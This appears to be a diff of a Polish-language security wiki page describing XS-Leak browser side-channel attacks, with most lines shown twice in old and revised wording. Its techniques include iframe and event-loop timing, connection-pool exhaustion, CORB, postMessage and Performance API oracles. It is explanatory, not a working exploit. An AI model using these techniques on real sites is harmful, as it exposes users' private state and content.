- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
- **Podsumowanie:** [performance.now()](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#performancenow) API może być używane do pomiaru, ile czasu zajmuje wykonanie żądania. Inne zegary mogą być używane.
- **Przykład kodu**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacks)
Zaobserwowano, że w przypadku braku [Ochrony Ramkowej](https://xsleaks.dev/docs/defenses/opt-in/xfo/), czas potrzebny na załadowanie strony i jej zasobów podrzędnych przez sieć może być mierzony przez atakującego. Pomiar ten jest zazwyczaj możliwy, ponieważ handler `onload` iframe jest wywoływany dopiero po zakończeniu ładowania zasobów i wykonania JavaScriptu. Aby obejść zmienność wprowadzoną przez wykonanie skryptu, atakujący może zastosować atrybut [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) w `<iframe>`. Włączenie tego atrybutu ogranicza wiele funkcji, w szczególności wykonanie JavaScriptu, co ułatwia pomiar, który jest głównie wpływany przez wydajność sieci.
Zaobserwowano, że w przypadku braku [Ochrony Ramkowej](https://xsleaks.dev/docs/defenses/opt-in/xfo/), czas potrzebny na załadowanie strony i jej zasobów podrzędnych przez sieć może być mierzony przez atakującego. Pomiary te są zazwyczaj możliwe, ponieważ handler `onload` iframe jest wywoływany dopiero po zakończeniu ładowania zasobów i wykonania JavaScriptu. Aby obejść zmienność wprowadzoną przez wykonanie skryptu, atakujący może użyć atrybutu [`sandbox`](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe) w `<iframe>`. Włączenie tego atrybutu ogranicza wiele funkcji, w szczególności wykonanie JavaScriptu, co ułatwia pomiar, który jest głównie wpływany przez wydajność sieci.
```javascript
// Example of an iframe with the sandbox attribute
<iframe src="example.html" sandbox></iframe>
```
### #ID + error + onload
- **Metody włączenia**: Ramki
- **Metody włączenia**: Frames
- **Wykrywalna różnica**: Zawartość strony
- **Więcej informacji**:
- **Podsumowanie**: Jeśli możesz spowodować błąd na stronie, gdy dostępna jest poprawna zawartość, i sprawić, że załaduje się poprawnie, gdy dostępna jest jakakolwiek zawartość, możesz stworzyć pętlę do wyodrębnienia wszystkich informacji bez mierzenia czasu.
- **Przykład kodu**:
Załóżmy, że możesz **wstawić** **stronę**, która ma **tajną** zawartość **w ramce Iframe**.
Załóżmy, że możesz **wstawić** **stronę**, która ma **tajną** zawartość **w Iframe**.
Możesz **sprawić, że ofiara wyszuka** plik, który zawiera "_**flag**_" używając **Iframe** (na przykład wykorzystując CSRF). Wewnątrz Iframe wiesz, że _**zdarzenie onload**_ będzie **wykonywane zawsze przynajmniej raz**. Następnie możesz **zmienić** **URL** **iframe**, zmieniając tylko **zawartość** **hash** w URL.
@ -149,7 +149,7 @@ Wtedy możesz **rozróżnić** między **poprawnie** załadowaną stroną a stro
### Wykonanie Javascript
- **Metody włączenia**: Ramki
- **Metody włączenia**: Frames
- **Wykrywalna różnica**: Zawartość strony
- **Więcej informacji**:
- **Podsumowanie:** Jeśli **strona** **zwraca** **wrażliwą** zawartość, **lub** zawartość, która może być **kontrolowana** przez użytkownika. Użytkownik mógłby ustawić **ważny kod JS w negatywnym przypadku**, **ładując** każdy próbę wewnątrz **`<script>`** tagów, więc w **negatywnych** przypadkach kod **atakującego** jest **wykonywany**, a w **pozytywnych** przypadkach **nic** nie zostanie wykonane.
@ -161,7 +161,7 @@ javascript-execution-xs-leak.md
### CORB - Onerror
- **Metody włączenia**: Elementy HTML
- **Metody włączenia**: HTML Elements
- **Wykrywalna różnica**: Kod statusu i nagłówki
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
- **Podsumowanie**: **Cross-Origin Read Blocking (CORB)** to środek bezpieczeństwa, który zapobiega ładowaniu przez strony internetowe niektórych wrażliwych zasobów z innych źródeł, aby chronić przed atakami takimi jak **Spectre**. Jednak atakujący mogą wykorzystać jego ochronne zachowanie. Gdy odpowiedź podlegająca **CORB** zwraca _**chroniony przez CORB**_ `Content-Type` z `nosniff` i kodem statusu `2xx`, **CORB** usuwa treść i nagłówki odpowiedzi. Atakujący obserwujący to mogą wywnioskować kombinację **kodu statusu** (wskazującego na sukces lub błąd) i `Content-Type` (oznaczającego, czy jest chroniony przez **CORB**), co prowadzi do potencjalnego wycieku informacji.
@ -171,7 +171,7 @@ Sprawdź link z więcej informacjami, aby uzyskać więcej informacji na temat a
### onblur
- **Metody włączenia**: Ramki
- **Metody włączenia**: Frames
- **Wykrywalna różnica**: Zawartość strony
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/id-attribute/](https://xsleaks.dev/docs/attacks/id-attribute/), [https://xsleaks.dev/docs/attacks/experiments/portals/](https://xsleaks.dev/docs/attacks/experiments/portals/)
- **Podsumowanie**: Wycieki wrażliwych danych z atrybutu id lub name.
@ -182,53 +182,53 @@ Możesz przeprowadzić ten sam atak z tagami **`portal`**.
### postMessage Broadcasts <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
- **Metody włączenia**: Ramki, Pop-upy
- **Metody włączenia**: Frames, Pop-ups
- **Wykrywalna różnica**: Użycie API
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/postmessage-broadcasts/](https://xsleaks.dev/docs/attacks/postmessage-broadcasts/)
- **Podsumowanie**: Zbieranie wrażliwych informacji z postMessage lub użycie obecności postMessages jako orakula do poznania statusu użytkownika na stronie
- **Podsumowanie**: Zbieraj wrażliwe informacje z postMessage lub użyj obecności postMessages jako orakula, aby poznać status użytkownika na stronie
- **Przykład kodu**: `Jakikolwiek kod nasłuchujący wszystkie postMessages.`
Aplikacje często wykorzystują [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) do komunikacji między różnymi źródłami. Jednak ta metoda może nieumyślnie ujawniać **wrażliwe informacje**, jeśli parametr `targetOrigin` nie jest odpowiednio określony, co pozwala każdemu oknu na odbieranie wiadomości. Ponadto sam akt odbierania wiadomości może działać jako **orakulum**; na przykład, niektóre wiadomości mogą być wysyłane tylko do użytkowników, którzy są zalogowani. Dlatego obecność lub brak tych wiadomości może ujawniać informacje o stanie lub tożsamości użytkownika, takie jak to, czy są uwierzytelnieni, czy nie.
Aplikacje często wykorzystują [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) do komunikacji między różnymi źródłami. Jednak ta metoda może nieumyślnie ujawniać **wrażliwe informacje**, jeśli parametr `targetOrigin` nie jest prawidłowo określony, co pozwala każdemu oknu odbierać wiadomości. Ponadto sam akt odbierania wiadomości może działać jako **orakulum**; na przykład niektóre wiadomości mogą być wysyłane tylko do użytkowników, którzy są zalogowani. Dlatego obecność lub brak tych wiadomości może ujawniać informacje o stanie lub tożsamości użytkownika, takie jak to, czy są uwierzytelnieni, czy nie.
## Techniki Global Limits
### WebSocket API
- **Metody włączenia**: Ramki, Pop-upy
- **Metody włączenia**: Frames, Pop-ups
- **Wykrywalna różnica**: Użycie API
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
- **Podsumowanie**: Wyciekanie liczby połączeń WebSocket strony z innego źródła poprzez wyczerpanie limitu połączeń WebSocket.
- **Podsumowanie**: Wyczerpanie limitu połączeń WebSocket ujawnia liczbę połączeń WebSocket strony z innego źródła.
- **Przykład kodu**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
Możliwe jest zidentyfikowanie, czy i ile **połączeń WebSocket używa strona docelowa**. Pozwala to atakującemu na wykrycie stanów aplikacji i wyciek informacji związanych z liczbą połączeń WebSocket.
Możliwe jest zidentyfikowanie, czy i ile **połączeń WebSocket używa strona docelowa**. Pozwala to atakującemu wykryć stany aplikacji i wyciek informacji związanych z liczbą połączeń WebSocket.
Jeśli jedno **źródło** używa **maksymalnej liczby obiektów połączeń WebSocket**, niezależnie od stanu ich połączeń, utworzenie **nowych obiektów spowoduje wyjątki JavaScript**. Aby przeprowadzić ten atak, strona atakująca otwiera stronę docelową w pop-upie lub iframe, a następnie, po załadowaniu strony docelowej, próbuje utworzyć maksymalną liczbę możliwych połączeń WebSocket. **Liczba zgłoszonych wyjątków** to **liczba połączeń WebSocket używanych przez okno strony docelowej**.
Jeśli jedno **źródło** używa **maksymalnej liczby obiektów połączeń WebSocket**, niezależnie od stanu ich połączeń, utworzenie **nowych obiektów spowoduje wyjątki JavaScript**. Aby przeprowadzić ten atak, strona atakująca otwiera stronę docelową w oknie pop-up lub iframe, a następnie, po załadowaniu strony docelowej, próbuje utworzyć maksymalną liczbę możliwych połączeń WebSocket. **Liczba zgłoszonych wyjątków** to **liczba połączeń WebSocket używanych przez okno strony docelowej**.
### Payment API
- **Metody włączenia**: Ramki, Pop-upy
- **Metody włączenia**: Frames, Pop-ups
- **Wykrywalna różnica**: Użycie API
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.1)
- **Podsumowanie**: Wykrywanie żądania płatności, ponieważ tylko jedno może być aktywne w danym czasie.
- **Podsumowanie**: Wykryj żądanie płatności, ponieważ tylko jedno może być aktywne w danym czasie.
- **Przykład kodu**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
Ten XS-Leak umożliwia atakującemu **wykrycie, kiedy strona z innego źródła inicjuje żądanie płatności**.
Ponieważ **tylko jedno żądanie płatności może być aktywne** w danym czasie, jeśli strona docelowa korzysta z API żądania płatności, wszelkie dalsze próby użycia tego API zakończą się niepowodzeniem i spowodują **wyjątek JavaScript**. Atakujący może to wykorzystać, **okresowo próbując wyświetlić interfejs API płatności**. Jeśli jedna próba spowoduje wyjątek, strona docelowa aktualnie z niego korzysta. Atakujący może ukryć te okresowe próby, natychmiast zamykając interfejs po jego utworzeniu.
Ponieważ **tylko jedno żądanie płatności może być aktywne** w danym czasie, jeśli strona docelowa korzysta z API żądania płatności, wszelkie dalsze próby użycia tego API zakończą się niepowodzeniem i spowodują **wyjątek JavaScript**. Atakujący może to wykorzystać, **okresowo próbując wyświetlić interfejs API płatności**. Jeśli jedna próba spowoduje wyjątek, strona docelowa aktualnie z niego korzysta. Atakujący może ukryć te okresowe próby, natychmiast zamykając interfejs po utworzeniu.
### Mierzenie czasu pętli zdarzeń <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
### Mierzenie pętli zdarzeń <a href="#timing-the-event-loop" id="timing-the-event-loop"></a>
- **Metody włączenia**:
- **Wykrywalna różnica**: Czas (ogólnie z powodu zawartości strony, kodu statusu)
- **Wykrywalna różnica**: Czas (zwykle z powodu zawartości strony, kodu statusu)
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop)
- **Podsumowanie:** Mierzenie czasu wykonania strony, wykorzystując jednowątkową pętlę zdarzeń JS.
- **Podsumowanie:** Mierz czas wykonania strony, wykorzystując jednowątkową pętlę zdarzeń JS.
- **Przykład kodu**:
{{#ref}}
event-loop-blocking-+-lazy-images.md
{{#endref}}
JavaScript działa na modelu współbieżności [jednowątkowej pętli zdarzeń](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), co oznacza, że **może wykonywać tylko jedno zadanie w danym czasie**. Ta cecha może być wykorzystana do oszacowania **jak długo kod z innego źródła zajmuje wykonanie**. Atakujący może mierzyć czas wykonania swojego kodu w pętli zdarzeń, nieustannie wysyłając zdarzenia z ustalonymi właściwościami. Te zdarzenia będą przetwarzane, gdy pula zdarzeń będzie pusta. Jeśli inne źródła również wysyłają zdarzenia do tej samej puli, **atakujący może wywnioskować czas, jaki zajmuje wykonanie tych zewnętrznych zdarzeń, obserwując opóźnienia w wykonaniu swoich własnych zadań**. Ta metoda monitorowania pętli zdarzeń pod kątem opóźnień może ujawniać czas wykonania kodu z różnych źródeł, potencjalnie ujawniając wrażliwe informacje.
JavaScript działa w modelu współbieżności [jednowątkowej pętli zdarzeń](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), co oznacza, że **może wykonywać tylko jedno zadanie w danym czasie**. Ta cecha może być wykorzystana do oszacowania **jak długo kod z innego źródła zajmuje wykonanie**. Atakujący może mierzyć czas wykonania swojego kodu w pętli zdarzeń, nieustannie wysyłając zdarzenia o stałych właściwościach. Te zdarzenia będą przetwarzane, gdy pula zdarzeń będzie pusta. Jeśli inne źródła również wysyłają zdarzenia do tej samej puli, **atakujący może wywnioskować czas, jaki zajmuje wykonanie tych zewnętrznych zdarzeń, obserwując opóźnienia w wykonaniu swoich własnych zadań**. Ta metoda monitorowania pętli zdarzeń pod kątem opóźnień może ujawniać czas wykonania kodu z różnych źródeł, potencjalnie ujawniając wrażliwe informacje.
> [!WARNING]
> W pomiarze czasu wykonania możliwe jest **eliminowanie** **czynników sieciowych**, aby uzyskać **dokładniejsze pomiary**. Na przykład, ładując zasoby używane przez stronę przed jej załadowaniem.
@ -236,12 +236,12 @@ JavaScript działa na modelu współbieżności [jednowątkowej pętli zdarzeń]
### Zajęta pętla zdarzeń <a href="#busy-event-loop" id="busy-event-loop"></a>
- **Metody włączenia**:
- **Wykrywalna różnica**: Czas (ogólnie z powodu zawartości strony, kodu statusu)
- **Wykrywalna różnica**: Czas (zwykle z powodu zawartości strony, kodu statusu)
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
- **Podsumowanie:** Jedna z metod mierzenia czasu wykonania operacji w sieci polega na celowym blokowaniu pętli zdarzeń w wątku, a następnie mierzeniu **jak długo zajmuje ponowne udostępnienie pętli zdarzeń**. Wstawiając operację blokującą (taką jak długie obliczenia lub synchroniczne wywołanie API) do pętli zdarzeń i monitorując czas, jaki zajmuje rozpoczęcie wykonania kolejnego kodu, można wywnioskować czas trwania zadań, które były wykonywane w pętli zdarzeń podczas okresu blokowania. Ta technika wykorzystuje jednowątkowy charakter pętli zdarzeń JavaScript, w której zadania są wykonywane sekwencyjnie, i może dostarczyć informacji o wydajności lub zachowaniu innych operacji dzielących ten sam wątek.
- **Podsumowanie:** Jedna z metod mierzenia czasu wykonania operacji w sieci polega na celowym blokowaniu pętli zdarzeń w wątku, a następnie mierzeniu **jak długo zajmuje ponowne udostępnienie pętli zdarzeń**. Wstawiając operację blokującą (taką jak długie obliczenia lub synchroniczne wywołanie API) do pętli zdarzeń i monitorując czas, jaki zajmuje rozpoczęcie wykonania kolejnego kodu, można wywnioskować czas trwania zadań, które były wykonywane w pętli zdarzeń w czasie blokady. Ta technika wykorzystuje jednowątkowy charakter pętli zdarzeń JavaScript, w której zadania są wykonywane sekwencyjnie, i może dostarczyć informacji na temat wydajności lub zachowania innych operacji dzielących ten sam wątek.
- **Przykład kodu**:
Znaczącą zaletą techniki mierzenia czasu wykonania poprzez blokowanie pętli zdarzeń jest jej potencjał do obejścia **Izolacji Stron**. **Izolacja Stron** to funkcja zabezpieczeń, która oddziela różne strony internetowe w osobnych procesach, mająca na celu zapobieganie bezpośredniemu dostępowi złośliwych stron do wrażliwych danych z innych stron. Jednak wpływając na czas wykonania innego źródła poprzez wspólną pętlę zdarzeń, atakujący może pośrednio wydobyć informacje o działaniach tego źródła. Ta metoda nie polega na bezpośrednim dostępie do danych innego źródła, lecz raczej obserwuje wpływ działań tego źródła na wspólną pętlę zdarzeń, omijając w ten sposób bariery ochronne ustanowione przez **Izolację Stron**.
Znaczną zaletą techniki mierzenia czasu wykonania poprzez blokowanie pętli zdarzeń jest jej potencjał do obejścia **Izolacji Strony**. **Izolacja Strony** to funkcja zabezpieczeń, która oddziela różne strony internetowe w osobnych procesach, mająca na celu zapobieganie bezpośredniemu dostępowi złośliwych stron do wrażliwych danych z innych stron. Jednak wpływając na czas wykonania innego źródła poprzez wspólną pętlę zdarzeń, atakujący może pośrednio wydobyć informacje o działaniach tego źródła. Ta metoda nie polega na bezpośrednim dostępie do danych innego źródła, lecz raczej obserwuje wpływ działań tego źródła na wspólną pętlę zdarzeń, tym samym omijając bariery ochronne ustanowione przez **Izolację Strony**.
> [!WARNING]
> W pomiarze czasu wykonania możliwe jest **eliminowanie** **czynników sieciowych**, aby uzyskać **dokładniejsze pomiary**. Na przykład, ładując zasoby używane przez stronę przed jej załadowaniem.
@ -249,9 +249,9 @@ Znaczącą zaletą techniki mierzenia czasu wykonania poprzez blokowanie pętli
### Pula połączeń
- **Metody włączenia**: Żądania JavaScript
- **Wykrywalna różnica**: Czas (ogólnie z powodu zawartości strony, kodu statusu)
- **Wykrywalna różnica**: Czas (zwykle z powodu zawartości strony, kodu statusu)
- **Więcej informacji**: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
- **Podsumowanie:** Atakujący mógłby zablokować wszystkie gniazda oprócz 1, załadować stronę docelową i jednocześnie załadować inną stronę, czas do momentu, gdy ostatnia strona zacznie się ładować, to czas, jaki zajęło załadowanie strony docelowej.
- **Podsumowanie:** Atakujący mógłby zablokować wszystkie gniazda oprócz 1, załadować stronę docelową i jednocześnie załadować inną stronę, czas do momentu, gdy ostatnia strona zaczyna się ładować, to czas, jaki zajęło załadowanie strony docelowej.
- **Przykład kodu**:
{{#ref}}
@ -263,14 +263,14 @@ Przeglądarki wykorzystują gniazda do komunikacji z serwerem, ale z powodu ogra
1. Ustalić limit gniazd przeglądarki, na przykład 256 globalnych gniazd.
2. Zajmować 255 gniazd przez dłuższy czas, inicjując 255 żądań do różnych hostów, zaprojektowanych tak, aby utrzymać połączenia otwarte bez ich zakończenia.
3. Wykorzystać 256. gniazdo do wysłania żądania do strony docelowej.
4. Spróbować wysłać 257. żądanie do innego hosta. Biorąc pod uwagę, że wszystkie gniazda są zajęte (zgodnie z krokami 2 i 3), to żądanie zostanie umieszczone w kolejce, aż gniazdo stanie się dostępne. Opóźnienie przed tym żądaniem dostarcza atakującemu informacji o czasie aktywności sieci związanej z 256. gniazdem (gniazdo strony docelowej). To wnioskowanie jest możliwe, ponieważ 255 gniazd z kroku 2 są nadal zajęte, co sugeruje, że każde nowo dostępne gniazdo musi być tym zwolnionym z kroku 3. Czas, jaki zajmuje 256. gniazdu, aby stać się dostępnym, jest zatem bezpośrednio związany z czasem potrzebnym na zakończenie żądania do strony docelowej.
4. Spróbować 257. żądania do innego hosta. Ponieważ wszystkie gniazda są zajęte (zgodnie z krokami 2 i 3), to żądanie zostanie umieszczone w kolejce, aż gniazdo stanie się dostępne. Opóźnienie przed tym żądaniem dostarcza atakującemu informacji o czasie aktywności sieciowej związanej z 256. gniazdem (gniazdo strony docelowej). To wnioskowanie jest możliwe, ponieważ 255 gniazd z kroku 2 wciąż jest zajętych, co sugeruje, że każde nowo dostępne gniazdo musi być tym zwolnionym z kroku 3. Czas, jaki zajmuje, aby 256. gniazdo stało się dostępne, jest zatem bezpośrednio związany z czasem potrzebnym na zakończenie żądania do strony docelowej.
Więcej informacji: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/)
### Pula połączeń według docelowego
### Pula połączeń według celu
- **Metody włączenia**: Żądania JavaScript
- **Wykrywalna różnica**: Czas (ogólnie z powodu zawartości strony, kodu statusu)
- **Wykrywalna różnica**: Czas (zwykle z powodu zawartości strony, kodu statusu)
- **Więcej informacji**:
- **Podsumowanie:** To jak poprzednia technika, ale zamiast używać wszystkich gniazd, Google **Chrome** nakłada limit **6 równoczesnych żądań do tego samego źródła**. Jeśli **zablokujemy 5** i następnie **uruchomimy 6.** żądanie, możemy **zmierzyć** czas, a jeśli uda nam się sprawić, że **strona ofiary wyśle** więcej **żądań** do tego samego punktu końcowego, aby wykryć **status** **strony**, **6. żądanie** zajmie **więcej czasu** i możemy to wykryć.
@ -280,11 +280,11 @@ Więcej informacji: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-
Te bogate dane można uzyskać za pomocą metod takich jak [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) lub [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), co zapewnia kompleksowy widok informacji związanych z wydajnością. Dodatkowo, API umożliwia pomiar czasów wykonania, obliczając różnicę między znacznikami czasowymi uzyskanymi z [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Warto jednak zauważyć, że dla niektórych operacji w przeglądarkach takich jak Chrome, precyzja `performance.now()` może być ograniczona do milisekund, co może wpłynąć na szczegółowość pomiarów czasowych.
Poza pomiarami czasu, API wydajności można wykorzystać do uzyskania informacji związanych z bezpieczeństwem. Na przykład, obecność lub brak stron w obiekcie `performance` w Chrome może wskazywać na zastosowanie `X-Frame-Options`. W szczególności, jeśli strona jest zablokowana przed renderowaniem w ramce z powodu `X-Frame-Options`, nie zostanie zarejestrowana w obiekcie `performance`, co stanowi subtelny wskazówkę na temat polityki ramkowania strony.
Poza pomiarami czasowymi, Performance API można wykorzystać do uzyskania informacji związanych z bezpieczeństwem. Na przykład, obecność lub brak stron w obiekcie `performance` w Chrome może wskazywać na zastosowanie `X-Frame-Options`. W szczególności, jeśli strona jest zablokowana przed renderowaniem w ramce z powodu `X-Frame-Options`, nie zostanie zarejestrowana w obiekcie `performance`, co stanowi subtelny wskazówkę na temat polityki ramkowania strony.
### Wyciek błędu
- **Metody włączenia**: Ramki, Elementy HTML
- **Metody włączenia**: Frames, HTML Elements
- **Wykrywalna różnica**: Kod statusu
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Podsumowanie:** Żądanie, które kończy się błędem, nie utworzy wpisu czasowego zasobów.
@ -294,17 +294,17 @@ Możliwe jest **rozróżnienie między kodami statusu odpowiedzi HTTP**, poniewa
### Błąd przeładowania stylu
- **Metody włączenia**: Elementy HTML
- **Metody włączenia**: HTML Elements
- **Wykrywalna różnica**: Kod statusu
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Podsumowanie:** Z powodu błędu przeglądarki, żądania, które kończą się błędem, są ładowane dwukrotnie.
- **Przykład kodu**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
W poprzedniej technice zidentyfikowano również dwa przypadki, w których błędy przeglądarki w GC prowadzą do **ładowania zasobów dwukrotnie, gdy nie udaje się ich załadować**. To spowoduje wiele wpisów w API wydajności i może być wykryte.
W poprzedniej technice zidentyfikowano również dwa przypadki, w których błędy przeglądarki w GC prowadzą do **ładowania zasobów dwukrotnie, gdy nie udaje się ich załadować**. To spowoduje wiele wpisów w API wydajności i może być zatem wykryte.
### Błąd łączenia żądań
### Błąd scalania żądań
- **Metody włączenia**: Elementy HTML
- **Metody włączenia**: HTML Elements
- **Wykrywalna różnica**: Kod statusu
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Podsumowanie:** Żądania, które kończą się błędem, nie mogą być scalane.
@ -312,9 +312,9 @@ W poprzedniej technice zidentyfikowano również dwa przypadki, w których błę
Technika ta została znaleziona w tabeli w wspomnianym dokumencie, ale nie znaleziono opisu techniki. Możesz jednak znaleźć kod źródłowy sprawdzający to w [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
### Wyciek pustej strony
### Wycieki z pustej strony
- **Metody włączenia**: Ramki
- **Metody włączenia**: Frames
- **Wykrywalna różnica**: Zawartość strony
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Podsumowanie:** Puste odpowiedzi nie tworzą wpisów czasowych zasobów.
@ -324,17 +324,17 @@ Atakujący może wykryć, czy żądanie zakończyło się pustym ciałem odpowie
### **Wyciek XSS-Auditor**
- **Metody włączenia**: Ramki
- **Metody włączenia**: Frames
- **Wykrywalna różnica**: Zawartość strony
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Podsumowanie:** Używając XSS Audytora w Asercjach Bezpieczeństwa, atakujący mogą wykrywać konkretne elementy stron internetowych, obserwując zmiany w odpowiedziach, gdy skonstruowane ładunki wyzwalają mechanizm filtrujący audytora.
- **Podsumowanie:** Używając XSS Audytora w Asercjach Bezpieczeństwa, atakujący mogą wykrywać konkretne elementy stron internetowych, obserwując zmiany w odpowiedziach, gdy skonstruowane ładunki wyzwalają mechanizm filtrowania audytora.
- **Przykład kodu**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
W Asercjach Bezpieczeństwa (SA) XSS Auditor, pierwotnie zaprojektowany w celu zapobiegania atakom Cross-Site Scripting (XSS), może paradoksalnie być wykorzystywany do wycieku wrażliwych informacji. Chociaż ta wbudowana funkcja została usunięta z Google Chrome (GC), nadal jest obecna w SA. W 2013 roku Braun i Heiderich wykazali, że XSS Auditor mógł nieumyślnie blokować legalne skrypty, prowadząc do fałszywych pozytywów. Na tym tle badacze opracowali techniki wydobywania informacji i wykrywania konkretnych treści na stronach z innego źródła, koncepcja znana jako XS-Leaks, pierwotnie zgłoszona przez Teradę i rozwinięta przez Heyesa w poście na blogu. Chociaż te techniki były specyficzne dla XSS Audytora w GC, odkryto, że w SA strony zablokowane przez XSS Audytora nie generują wpisów w API wydajności, ujawniając metodę, dzięki której wrażliwe informacje mogą być nadal wyciekane.
W Asercjach Bezpieczeństwa (SA) XSS Auditor, pierwotnie zaprojektowany w celu zapobiegania atakom Cross-Site Scripting (XSS), może paradoksalnie być wykorzystywany do wycieku wrażliwych informacji. Chociaż ta wbudowana funkcja została usunięta z Google Chrome (GC), wciąż jest obecna w SA. W 2013 roku Braun i Heiderich wykazali, że XSS Auditor mógł nieumyślnie blokować legalne skrypty, prowadząc do fałszywych pozytywów. Na tej podstawie badacze opracowali techniki wydobywania informacji i wykrywania konkretnych treści na stronach z innego źródła, koncepcji znanej jako XS-Leaks, początkowo zgłoszonej przez Teradę i rozwiniętej przez Heyesa w poście na blogu. Chociaż te techniki były specyficzne dla XSS Audytora w GC, odkryto, że w SA strony zablokowane przez XSS Audytora nie generują wpisów w API wydajności, ujawniając metodę, dzięki której wrażliwe informacje mogą być nadal wyciekane.
### Wyciek X-Frame
- **Metody włączenia**: Ramki
- **Metody włączenia**: Frames
- **Wykrywalna różnica**: Nagłówek
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2), [https://xsleaks.github.io/xsleaks/examples/x-frame/index.html](https://xsleaks.github.io/xsleaks/examples/x-frame/index.html), [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options)
- **Podsumowanie:** Zasób z nagłówkiem X-Frame-Options nie tworzy wpisu czasowego zasobów.
@ -345,7 +345,7 @@ To samo dotyczy użycia tagu **embed**.
### Wykrywanie pobierania
- **Metody włączenia**: Ramki
- **Metody włączenia**: Frames
- **Wykrywalna różnica**: Nagłówek
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Podsumowanie:** Pobrania nie tworzą wpisów czasowych zasobów w API wydajności.
@ -355,7 +355,7 @@ Podobnie jak w opisanym XS-Leak, **zasób, który jest pobierany** z powodu nag
### Wyciek czasu rozpoczęcia przekierowania
- **Metody włączenia**: Ramki
- **Metody włączenia**: Frames
- **Wykrywalna różnica**: Przekierowanie
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Podsumowanie:** Wpis czasowy zasobów ujawnia czas rozpoczęcia przekierowania.
@ -371,27 +371,27 @@ Znaleźliśmy jeden przypadek XS-Leak, który wykorzystuje zachowanie niektóryc
- **Podsumowanie:** Czas trwania wpisów czasowych jest ujemny, gdy występuje przekierowanie.
- **Przykład kodu**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
W GC, **czas trwania** dla żądań, które kończą się **przekierowaniem**, jest **ujemny** i można go **rozróżnić** od żądań, które nie kończą się przekierowaniem.
W GC, **czas trwania** dla żądań, które kończą się **przekierowaniem**, jest **ujemny** i można go w ten sposób **rozróżnić** od żądań, które nie kończą się przekierowaniem.
### Wyciek CORP
- **Metody włączenia**: Ramki
- **Metody włączenia**: Frames
- **Wykrywalna różnica**: Nagłówek
- **Więcej informacji**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Podsumowanie:** Zasób chroniony przez CORP nie tworzy wpisów czasowych zasobów.
- **Przykład kodu**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
